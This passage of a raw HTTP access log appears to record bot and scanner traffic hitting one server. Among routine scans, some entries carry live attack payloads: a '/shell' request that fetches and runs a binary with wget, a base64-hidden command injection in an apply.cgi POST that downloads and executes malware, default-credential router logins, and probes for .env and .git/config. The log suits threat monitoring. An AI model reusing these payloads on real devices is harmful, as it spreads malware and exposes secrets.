"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Connection": "keep-alive", "Host": "127.0.0.1:80", "User_Agent": "Hello, world", "Method": "GET", "Path": "/shell?cd+/tmp;rm+-rf+*;wget+45.12.253.180/jaws;sh+/tmp/jaws", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.199", "Host": "116.202.22.148:80", "User_Agent": "Hello World", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "117.239.218.91", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.94.146.57", "Host": "116.202.22.148:8080", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.94.146.57", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.94.146.57", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "95.214.55.115", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded", "Host": "127.0.0.1:8088", "Origin": "http://127.0.0.1:8088", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "95.214.55.115", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept_Encoding": "gzip", "Authorization": "Basic YWRtaW46YWRtaW4=", "Content_Length": "373", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:8080", "Origin": "http://127.0.0.1:8088", "Referer": "http://116.202.22.148:8080/apply.cgi", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Sec-Gpc": "1", "Method": "POST", "Path": "/apply.cgi", "Http_Version": "HTTP/1.1", "POST_Payload": "YWN0aW9uPUFwcGx5VGFrZSZjaGFuZ2VfYWN0aW9uPWdvemlsYV9jZ2kmZGVsX3ZhbHVlPSZob3N0PWh0dHAlM0ElMkYlMkYxMjcuMC4wLjElM0E4MDg4Jm5leHRfcGFnZT1EaWFnbm9zdGljcy5hc3AmcGluZ19pcD1jZCslMkZ0bXAlM0J3Z2V0K2h0dHAlM0ElMkYlMkY0NS44OC45MC4xMTMlMkZzZHhrelhfVVhBMjI5eC5tcHNsKy1PK21mdSUzQmNobW9kKzc3NyttZnUlM0IuJTJGbWZ1K2ZhaXRoJTNCK3JtKy1yZittZnUlM0Ird2dldCtodHRwJTNBJTJGJTJGNDUuODguOTAuMTEzJTJGc2R4a3pYX1VYQTIyOXgubXBzbCstTyttZnUlM0JjaG1vZCs3NzcrbWZ1JTNCLiUyRm1mdSttZW93JTNCJnN1Ym1pdF9idXR0b249UGluZyZzdWJtaXRfdHlwZT1zdGFydA=="} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.111", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Length": "29", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:80", "Origin": "http://116.202.22.148:80", "Referer": "http://116.202.22.148:80/admin/login.asp", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "POST", "Path": "/boaform/admin/formLogin", "Http_Version": "HTTP/1.1", "POST_Payload": "dXNlcm5hbWU9YWRtaW4mcHNkPUZlZWZpZm9mdW0NCg0K"} -{"ip": "185.180.143.8", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.193", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "46.100.211.113", "Content_Length": "0", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.11.52", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "66.45.227.150", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "80.92.206.243", "Connection": "Close", "Host": "116.202.22.148", "User_Agent": "curl/7.68.0", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "200.25.254.178", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "91.105.96.229", "Content_Length": "0", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "146.70.59.6", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "146.70.59.6", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30", "Method": "POST", "Path": "/", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "111.162.144.195", "Accept": "*/*", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "121.56.26.17", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "218.95.234.136", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "34.34.5.109", "Host": "116.202.22.148", "Method": "OPTIONS", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "198.199.97.30", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "95.214.55.115", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Length": "29", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:80", "Origin": "http://116.202.22.148:80", "Referer": "http://116.202.22.148:80/admin/login.asp", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "POST", "Path": "/boaform/admin/formLogin", "Http_Version": "HTTP/1.1", "POST_Payload": "dXNlcm5hbWU9YWRtaW4mcHNkPUZlZWZpZm9mdW0NCg0K"} -{"ip": "84.54.51.193", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "198.235.24.168", "Accept": "*/*", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "198.235.24.254", "Accept": "*/*", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "205.210.31.241", "Host": "apps.bekagvazava.com", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "205.210.31.231", "Host": "116.202.22.148:8080", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "94.156.102.112", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.28.2", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "94.156.102.112", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.28.2", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "94.156.102.112", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.28.2", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "94.156.102.112", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.28.2", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "124.223.52.249", "Connection": "Close", "Host": "116.202.22.148", "User_Agent": "curl/7.68.0", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "124.223.52.249", "Connection": "Close", "Host": "116.202.22.148", "User_Agent": "curl/7.68.0", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "79.110.62.146", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Length": "29", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:80", "Origin": "http://116.202.22.148:80", "Referer": "http://116.202.22.148:80/admin/login.asp", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "POST", "Path": "/boaform/admin/formLogin", "Http_Version": "HTTP/1.1", "POST_Payload": "dXNlcm5hbWU9YWRtaW4mcHNkPUZlZWZpZm9mdW0NCg0K"} -{"ip": "45.79.213.144", "Accept": "*/*", "Accept_Encoding": "gzip", "Content_Length": "0", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 infrawatch/0.1", "Method": "POST", "Path": "/webui/logoutconfirm.html?logon_hash=1", "Http_Version": "HTTP/1.1"} -{"ip": "112.94.190.93", "Accept": "*/*", "Host": "116.202.22.148:8080", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "59.173.180.3", "Connection": "close", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "220.250.11.170", "Connection": "close", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "183.136.225.32", "Accept": "*/*", "Connection": "keep-alive", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "205.210.31.164", "Accept": "*/*", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/sugar_version.json", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Host": "116.202.22.148", "Range": "bytes=0-18446744073709551615", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/webfig/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/cf_scripts/scripts/ajax/ckeditor/ckeditor.js", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/solr/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/cgi-bin/authLogin.cgi", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/static/historypage.js", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/favicon-32x32.png", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36", "http-accept": "*/*", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/Telerik.Web.UI.WebResource.axd?type=rau", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/api/session/properties", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/showLogin.cc", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/admin/", "Http_Version": "HTTP/1.1"} -{"ip": "109.237.97.180", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "143.198.188.210", "Accept": "*/*", "Host": "localhost:8080", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "94.102.61.10", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "180.243.33.193", "Content_Length": "0", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "198.235.24.123", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "67.217.57.54", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "close", "Host": "116.202.22.148:80", "Upgrade_Insecure_Requests": "1", "User_Agent": "Linux Gnu (cow)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.199", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "198.199.98.133", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/manager/text/list", "Http_Version": "HTTP/1.1"} -{"ip": "94.102.61.45", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "139.162.167.216", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)", "Method": "GET", "Path": "/bAiP", "Http_Version": "HTTP/1.1"} -{"ip": "139.162.167.216", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)", "Method": "GET", "Path": "/Lj5r", "Http_Version": "HTTP/1.1"} -{"ip": "45.81.39.51", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "112.46.68.72", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "130.211.54.158", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.31.0", "x-datadog-trace-id": "11598323402375006570", "x-datadog-parent-id": "5651318339364036725", "x-datadog-sampling-priority": "0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "128.14.141.34", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "205.210.31.173", "Accept": "*/*", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "207.90.244.14", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "identity", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "207.90.244.14", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.12", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "180.149.125.165", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", "Method": "GET", "Path": "/c/", "Http_Version": "HTTP/1.1"} -{"ip": "162.142.125.11", "Host": "116.202.22.148:8080", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "162.142.125.11", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} 